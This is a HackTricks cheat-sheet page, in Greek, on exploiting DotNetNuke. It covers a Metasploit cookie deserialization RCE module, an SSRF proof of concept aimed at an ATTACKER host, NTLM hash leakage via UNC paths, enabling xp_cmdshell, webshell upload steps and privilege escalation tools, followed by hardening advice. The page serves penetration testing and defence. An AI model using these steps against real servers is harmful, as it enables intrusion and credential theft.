# DotNetNuke (DNN) {{#include ../../banners/hacktricks-training.md}} ## DotNetNuke (DNN) Αν εισέλθετε ως **administrator** στο DNN, είναι εύκολο να αποκτήσετε **RCE**, ωστόσο έχουν δημοσιευθεί αρκετές *unauthenticated* και *post-auth* τεχνικές τα τελευταία χρόνια. Το παρακάτω cheat-sheet συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους τόσο για επιθετική όσο και για αμυντική εργασία. --- ## Έκδοση & Καταμέτρηση Περιβάλλοντος * Ελέγξτε την *X-DNN* HTTP απάντηση – συνήθως αποκαλύπτει την ακριβή έκδοση της πλατφόρμας. * Ο οδηγός εγκατάστασης αποκαλύπτει την έκδοση στο `/Install/Install.aspx?mode=install` (προσβάσιμο σε πολύ παλιές εγκαταστάσεις). * Το `/API/PersonaBar/GetStatus` (9.x) επιστρέφει ένα JSON blob που περιέχει το `"dnnVersion"` για χρήστες χαμηλών δικαιωμάτων. * Τυπικά cookies που θα δείτε σε μια ζωντανή εγκατάσταση: * `.DOTNETNUKE` – ASP.NET forms authentication ticket. * `DNNPersonalization` – περιέχει XML/serialized δεδομένα προφίλ χρήστη (παλιές εκδόσεις – δείτε RCE παρακάτω). --- ## Μη Αυθεντικοποιημένη Εκμετάλλευση ### 1. Deserialization RCE Cookie (CVE-2017-9822 & follow-ups) *Επηρεαζόμενες εκδόσεις ≤ 9.3.0-RC* `DNNPersonalization` αποδομείται σε κάθε αίτημα όταν είναι ενεργοποιημένος ο ενσωματωμένος χειριστής 404. Έτσι, το κατεργασμένο XML μπορεί να οδηγήσει σε αυθαίρετες αλυσίδες gadget και εκτέλεση κώδικα. ``` msf> use exploit/windows/http/dnn_cookie_deserialization_rce msf> set RHOSTS msf> set LHOST msf> run ``` Το module επιλέγει αυτόματα τη σωστή διαδρομή για τις διορθωμένες αλλά ακόμα ευάλωτες εκδόσεις (CVE-2018-15811/15812/18325/18326). Η εκμετάλλευση λειτουργεί **χωρίς αυθεντικοποίηση** σε 7.x–9.1.x και με έναν *επιβεβαιωμένο* λογαριασμό χαμηλών δικαιωμάτων σε 9.2.x+. ### 2. Server-Side Request Forgery (CVE-2025-32372) *Επηρεαζόμενες εκδόσεις < 9.13.8 – Διόρθωση που εκδόθηκε Απρίλιο 2025* Μια παράκαμψη της παλαιότερης διόρθωσης `DnnImageHandler` επιτρέπει σε έναν επιτιθέμενο να αναγκάσει τον διακομιστή να εκδώσει **τυχαία GET αιτήματα** (ημι-τυφλό SSRF). Πρακτικές επιπτώσεις: * Εσωτερική σάρωση θυρών / ανακάλυψη υπηρεσιών μεταδεδομένων σε αναπτύξεις cloud. * Πρόσβαση σε hosts που αλλιώς είναι προστατευμένοι από το Διαδίκτυο. Απόδειξη της έννοιας (αντικαταστήστε `TARGET` & `ATTACKER`): ``` https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc ``` Η αίτηση ενεργοποιείται στο παρασκήνιο. Παρακολουθήστε τον ακροατή σας για callbacks. ### 3. NTLM Hash Exposure via UNC Redirect (CVE-2025-52488) *Επηρεαζόμενες εκδόσεις 6.0.0 – 9.x (< 10.0.1)* Ειδικά διαμορφωμένο περιεχόμενο μπορεί να κάνει το DNN να προσπαθήσει να αποκτήσει μια πηγή χρησιμοποιώντας μια **UNC διαδρομή** όπως `\\attacker\share\img.png`. Τα Windows θα εκτελέσουν ευχαρίστως τη διαπραγμάτευση NTLM, διαρρέοντας τους hash λογαριασμού του διακομιστή στον επιτιθέμενο. Αναβαθμίστε σε **10.0.1** ή απενεργοποιήστε το SMB εξόδου στο τείχος προστασίας. ### 4. IP Filter Bypass (CVE-2025-52487) Εάν οι διαχειριστές βασίζονται σε *Host/IP Filters* για την προστασία της πύλης διαχείρισης, να γνωρίζετε ότι οι εκδόσεις πριν από **10.0.1** μπορούν να παρακαμφθούν με την παραποίηση του `X-Forwarded-For` σε σενάριο αντίστροφης προώθησης. --- ## Post-Authentication to RCE ### Via SQL console Κάτω από **`Settings → SQL`** ένα ενσωματωμένο παράθυρο ερωτήματος επιτρέπει την εκτέλεση κατά της βάσης δεδομένων του ιστότοπου. Στον Microsoft SQL Server μπορείτε να ενεργοποιήσετε **`xp_cmdshell`** και να δημιουργήσετε εντολές: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; GO xp_cmdshell 'whoami'; ``` ### Via ASPX webshell upload 1. Πηγαίνετε στο **`Settings → Security → More → More Security Settings`**. 2. Προσθέστε `aspx` (ή `asp`) στις **Allowable File Extensions** και **Save**. 3. Περιηγηθείτε στο **`/admin/file-management`** και ανεβάστε `shell.aspx`. 4. Ενεργοποιήστε το στο **`/Portals/0/shell.aspx`**. --- ## Privilege Escalation on Windows Μόλις επιτευχθεί η εκτέλεση κώδικα ως **IIS AppPool\**, ισχύουν κοινές τεχνικές ανύψωσης δικαιωμάτων στα Windows. Αν το σύστημα είναι ευάλωτο, μπορείτε να εκμεταλλευτείτε: * **PrintSpoofer** / **SpoolFool** για να καταχραστείτε το *SeImpersonatePrivilege*. * **Juicy/Sharp Potatoes** για να ξεφύγετε από *Service Accounts*. --- ## Hardening Recommendations (Blue Team) * **Upgrade** σε τουλάχιστον **9.13.9** (διορθώνει το SSRF bypass) ή κατά προτίμηση **10.0.1** (θέματα IP filter & NTLM). * Αφαιρέστε τα υπολειπόμενα αρχεία **`InstallWizard.aspx*`** μετά την εγκατάσταση. * Απενεργοποιήστε την εξερχόμενη SMB (θύρες 445/139). * Επιβάλετε ισχυρούς *Host Filters* στον edge proxy αντί για μέσα στο DNN. * Εμποδίστε την πρόσβαση στο `/API/RemoteContentProxy` αν δεν χρησιμοποιείται. ## References * Metasploit `dnn_cookie_deserialization_rce` module documentation – practical unauthenticated RCE details (GitHub). * GitHub Security Advisory GHSA-3f7v-qx94-666m – 2025 SSRF bypass & patch information. {{#include ../../banners/hacktricks-training.md}}